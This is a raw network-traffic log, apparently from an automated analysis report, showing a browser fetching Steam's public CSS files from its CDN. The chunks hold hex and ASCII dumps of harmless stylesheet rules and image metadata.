2024-09-17 17:21:15 UTC	951	IN	Data Raw: 67 65 62 74 6e 2e 64 69 73 61 62 6c 65 64 3a 68 6f 76 65 72 2c 20 61 2e 70 61 67 65 62 74 6e 2e 64 69 73 61 62 6c 65 64 2c 20 61 2e 70 61 67 65 62 74 6e 2e 64 69 73 61 62 6c 65 64 3a 68 6f 76 65 72 20 7b 0d 0a 09 63 75 72 73 6f 72 3a 20 64 65 66 61 75 6c 74 3b 0d 0a 09 6f 70 61 63 69 74 79 3a 20 30 2e 32 3b 0d 0a 7d 0d 0a 0d 0a 61 2e 70 61 67 65 6c 69 6e 6b 3a 68 6f 76 65 72 20 7b 0d 0a 09 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 20 75 6e 64 65 72 6c 69 6e 65 3b 0d 0a 09 63 6f 6c 6f 72 3a 20 23 66 66 66 66 66 66 3b 0d 0a 7d 0d 0a 0d 0a 0d 0a 2f 2a 20 73 74 65 61 6d 20 69 6e 62 6f 78 20 2a 2f 0d 0a 0d 0a 0d 0a 2f 2a 20 6e 6f 74 69 66 69 63 61 74 69 6f 6e 20 62 6f 78 20 2a 2f 0d 0a 0d 0a 23 68 65 61 64 65 72 5f 6e 6f 74 69 66 69 63 61 74 69 6f 6e 5f Data Ascii: gebtn.disabled:hover, a.pagebtn.disabled, a.pagebtn.disabled:hover {cursor: default;opacity: 0.2;}a.pagelink:hover {text-decoration: underline;color: #ffffff;}/* steam inbox // notification box */#header_notification_
2024-09-17 17:21:15 UTC	16384	IN	Data Raw: 30 30 30 30 34 30 30 30 0d 0a 65 61 64 65 72 5f 6e 6f 74 69 66 69 63 61 74 69 6f 6e 5f 64 72 6f 70 64 6f 77 6e 20 2e 70 6f 70 75 70 5f 6d 65 6e 75 5f 69 74 65 6d 2e 61 63 74 69 76 65 5f 69 6e 62 6f 78 5f 69 74 65 6d 20 7b 0d 0a 09 63 6f 6c 6f 72 3a 20 23 37 30 62 61 32 34 3b 0d 0a 7d 0d 0a 0d 0a 2e 68 65 61 64 65 72 5f 6e 6f 74 69 66 69 63 61 74 69 6f 6e 5f 62 74 6e 2e 68 65 61 64 65 72 5f 6e 6f 74 69 66 69 63 61 74 69 6f 6e 5f 62 65 6c 6c 20 7b 0d 0a 09 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 0d 0a 09 77 69 64 74 68 3a 20 34 36 70 78 3b 0d 0a 09 68 65 69 67 68 74 3a 20 32 34 70 78 3b 0d 0a 09 70 61 64 64 69 6e 67 3a 20 30 70 78 3b 0d 0a 09 6d 61 72 67 69 6e 3a 20 30 70 78 3b 0d 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 75 72 6c 28 20 27 68 74 74 70 Data Ascii: 00004000eader_notification_dropdown .popup_menu_item.active_inbox_item {color: #70ba24;}.header_notification_btn.header_notification_bell {display: block;width: 46px;height: 24px;padding: 0px;margin: 0px;background: url( 'http
2024-09-17 17:21:15 UTC	12	IN	Data Raw: 2d 64 65 63 6f 72 61 74 69 6f 0d 0a Data Ascii: -decoratio
2024-09-17 17:21:15 UTC	3002	IN	Data Raw: 30 30 30 30 30 42 41 45 0d 0a 6e 3a 20 6c 69 6e 65 2d 74 68 72 6f 75 67 68 3b 0d 0a 7d 0d 0a 0d 0a 64 69 76 2e 62 62 5f 70 75 6c 6c 71 75 6f 74 65 20 7b 0d 0a 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 38 70 78 3b 0d 0a 20 20 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 36 30 30 3b 0d 0a 7d 0d 0a 0d 0a 73 70 61 6e 2e 62 62 5f 6c 69 6e 6b 5f 68 6f 73 74 20 7b 0d 0a 09 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 30 70 78 3b 0d 0a 09 63 6f 6c 6f 72 3a 20 23 37 65 38 33 39 31 3b 0d 0a 09 70 61 64 64 69 6e 67 3a 20 34 70 78 3b 0d 0a 09 74 6f 70 3a 20 2d 31 70 78 3b 0d 0a 7d 0d 0a 0d 0a 64 69 76 2e 62 62 5f 63 6f 64 65 2c 20 2e 62 62 5f 77 79 73 69 77 79 67 20 70 72 65 20 7b 0d 0a 09 62 6f 72 64 65 72 3a 20 31 70 78 20 73 6f 6c 69 64 20 23 35 33 35 33 35 34 3b 0d Data Ascii: 00000BAEn: line-through;}div.bb_pullquote { font-size: 18px; font-weight: 600;}span.bb_link_host {font-size: 10px;color: #7e8391;padding: 4px;top: -1px;}div.bb_code, .bb_wysiwyg pre {border: 1px solid #535354;
2024-09-17 17:21:15 UTC	16384	IN	Data Raw: 30 30 30 30 34 30 30 30 0d 0a 65 47 31 77 4c 6d 6c 70 5a 44 6f 35 51 30 4d 33 4d 45 55 31 4d 7a 49 78 51 7a 51 78 4d 55 55 30 4f 54 56 45 52 55 55 34 4e 45 45 31 52 54 6c 47 4d 44 59 78 52 69 49 67 63 33 52 53 5a 57 59 36 5a 47 39 6a 64 57 31 6c 62 6e 52 4a 52 44 30 69 65 47 31 77 4c 6d 52 70 5a 44 6f 35 51 30 4d 33 4d 45 55 31 4e 44 49 78 51 7a 51 78 4d 55 55 30 4f 54 56 45 52 55 55 34 4e 45 45 31 52 54 6c 47 4d 44 59 78 52 69 49 76 50 69 41 38 4c 33 4a 6b 5a 6a 70 45 5a 58 4e 6a 63 6d 6c 77 64 47 6c 76 62 6a 34 67 50 43 39 79 5a 47 59 36 55 6b 52 47 50 69 41 38 4c 33 67 36 65 47 31 77 62 57 56 30 59 54 34 67 50 44 39 34 63 47 46 6a 61 32 56 30 49 47 56 75 5a 44 30 69 63 69 49 2f 50 76 33 76 55 4b 41 41 41 41 41 6c 53 55 52 42 56 48 6a 61 59 76 7a 2f 2f Data Ascii: 00004000eG1wLmlpZDo5Q0M3MEU1MzIxQzQxMUU0OTVERUU4NEE1RTlGMDYxRiIgc3RSZWY6ZG9jdW1lbnRJRD0ieG1wLmRpZDo5Q0M3MEU1NDIxQzQxMUU0OTVERUU4NEE1RTlGMDYxRiIvPiA8L3JkZjpEZXNjcmlwdGlvbj4gPC9yZGY6UkRGPiA8L3g6eG1wbWV0YT4gPD94cGFja2V0IGVuZD0iciI/Pv3vUKAAAAAlSURBVHjaYvz//
2024-09-17 17:21:15 UTC	12	IN	Data Raw: 61 72 67 69 6e 2d 74 6f 70 3a 0d 0a Data Ascii: argin-top:
2024-09-17 17:21:15 UTC	4329	IN	Data Raw: 30 30 30 30 31 30 44 44 0d 0a 20 32 30 70 78 3b 0d 0a 7d 0d 0a 0d 0a 2e 63 68 69 6e 61 5f 66 6f 6f 74 65 72 5f 6c 6f 67 6f 73 20 69 6d 67 20 20 7b 0d 0a 20 20 20 20 77 69 64 74 68 3a 20 39 36 70 78 3b 0d 0a 20 20 20 20 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 20 74 6f 70 3b 0d 0a 7d 0d 0a 0d 0a 2e 67 70 6e 61 76 3a 66 6f 63 75 73 0d 0a 7b 0d 0a 20 20 20 20 6f 75 74 6c 69 6e 65 3a 20 34 70 78 20 73 6f 6c 69 64 20 62 6c 75 65 3b 0d 0a 20 20 20 20 62 6f 78 2d 73 68 61 64 6f 77 3a 20 30 20 30 20 32 70 78 20 69 6e 73 65 74 20 23 30 30 30 30 66 66 3b 0d 0a 7d 0d 0a 0d 0a 0d 0a 2f 2a 20 46 6f 72 20 44 61 74 65 20 70 69 63 6b 65 72 73 20 73 68 61 72 65 64 20 62 65 74 77 65 65 6e 20 70 72 6f 6a 65 63 74 73 20 2a 2f 0d 0a 0d 0a 2e 72 64 74 20 2e 72 64 74 50 69 Data Ascii: 000010DD 20px;}.china_footer_logos img { width: 96px; vertical-align: top;}.gpnav:focus{ outline: 4px solid blue; box-shadow: 0 0 2px inset #0000ff;}/* For Date pickers shared between projects */.rdt .rdtPi

Timestamp	Bytes transferred	Direction	Data
2024-09-17 17:21:14 UTC	560	OUT	GET /public/shared/css/buttons.css?v=6PFqex5UPprb&l=english HTTP/1.1 Host: store.akamai.steamstatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-17 17:21:15 UTC	340	IN	HTTP/1.1 200 OK Last-Modified: Sun, 09 Sep 2001 01:46:40 GMT ETag: "6PFqex5UPprb" Server: nginx Content-Type: text/css;charset=UTF-8 Strict-Transport-Security: max-age=300 Cache-Control: public, max-age=15465940 Expires: Sat, 15 Mar 2025 17:26:55 GMT Date: Tue, 17 Sep 2024 17:21:15 GMT Content-Length: 33528 Connection: close
2024-09-17 17:21:15 UTC	16044	IN	Data Raw: 2e 62 74 6e 5f 67 72 65 65 6e 5f 77 68 69 74 65 5f 69 6e 6e 65 72 66 61 64 65 20 7b 0d 0a 09 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 32 70 78 3b 0d 0a 09 62 6f 72 64 65 72 3a 20 6e 6f 6e 65 3b 0d 0a 09 70 61 64 64 69 6e 67 3a 20 31 70 78 3b 0d 0a 09 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 0d 0a 09 63 75 72 73 6f 72 3a 20 70 6f 69 6e 74 65 72 3b 0d 0a 09 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 20 6e 6f 6e 65 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0d 0a 09 63 6f 6c 6f 72 3a 20 23 44 32 45 38 38 35 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0d 0a 0d 0a 09 09 09 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 61 34 64 30 30 37 3b 0d 0a 09 09 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 2d 77 65 62 6b 69 74 2d 6c 69 6e 65 61 72 2d 67 72 61 64 Data Ascii: .btn_green_white_innerfade {border-radius: 2px;border: none;padding: 1px;display: inline-block;cursor: pointer;text-decoration: none !important;color: #D2E885 !important;background: #a4d007;background: -webkit-linear-grad
2024-09-17 17:21:15 UTC	16384	IN	Data Raw: 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0d 0a 0d 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 74 72 61 6e 73 70 61 72 65 6e 74 3b 09 7d 0d 0a 0d 0a 09 2e 62 74 6e 76 36 5f 77 68 69 74 65 5f 74 72 61 6e 73 70 61 72 65 6e 74 20 3e 20 73 70 61 6e 20 7b 0d 0a 09 09 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 32 70 78 3b 0d 0a 09 09 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 0d 0a 0d 0a 0d 0a 09 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 74 72 61 6e 73 70 61 72 65 6e 74 3b 09 09 62 6f 72 64 65 72 3a 20 31 70 78 20 73 6f 6c 69 64 20 72 67 62 61 28 32 35 35 2c 32 35 35 2c 32 35 35 2c 30 2e 34 29 3b 0a 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 32 70 78 3b 09 7d 0d 0a 0d 0a 2e 62 74 6e 76 36 5f 77 68 69 74 65 5f 74 72 61 6e 73 70 61 72 65 6e 74 3a 6e 6f 74 28 2e 62 74 Data Ascii: !important;background: transparent;}.btnv6_white_transparent > span {border-radius: 2px;display: block;background: transparent;border: 1px solid rgba(255,255,255,0.4);border-radius: 2px;}.btnv6_white_transparent:not(.bt
2024-09-17 17:21:15 UTC	1100	IN	Data Raw: 78 3b 0d 0a 09 68 65 69 67 68 74 3a 20 31 36 70 78 3b 0d 0a 09 62 61 63 6b 67 72 6f 75 6e 64 2d 69 6d 61 67 65 3a 75 72 6c 28 27 68 74 74 70 73 3a 2f 2f 73 74 6f 72 65 2e 61 6b 61 6d 61 69 2e 73 74 65 61 6d 73 74 61 74 69 63 2e 63 6f 6d 2f 70 75 62 6c 69 63 2f 73 68 61 72 65 64 2f 69 6d 61 67 65 73 2f 62 75 74 74 6f 6e 73 2f 69 63 6f 6e 5f 64 6f 75 62 6c 65 5f 61 72 72 6f 77 73 2e 70 6e 67 27 29 3b 0d 0a 09 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 20 6d 69 64 64 6c 65 3b 0d 0a 7d 0d 0a 0d 0a 2e 62 74 6e 5f 64 65 74 61 69 6c 73 5f 61 72 72 6f 77 2e 75 70 0d 0a 7b 0d 0a 09 62 61 63 6b 67 72 6f 75 6e 64 2d 70 6f 73 69 74 69 6f 6e 3a 20 30 70 78 20 30 70 78 3b 0d 0a 7d 0d 0a 0d 0a 2e 62 74 6e 5f 64 65 74 61 69 6c 73 3a 6e 6f 74 28 2e 62 74 6e 5f 64 69 73 Data Ascii: x;height: 16px;background-image:url('https://store.akamai.steamstatic.com/public/shared/images/buttons/icon_double_arrows.png');vertical-align: middle;}.btn_details_arrow.up{background-position: 0px 0px;}.btn_details:not(.btn_dis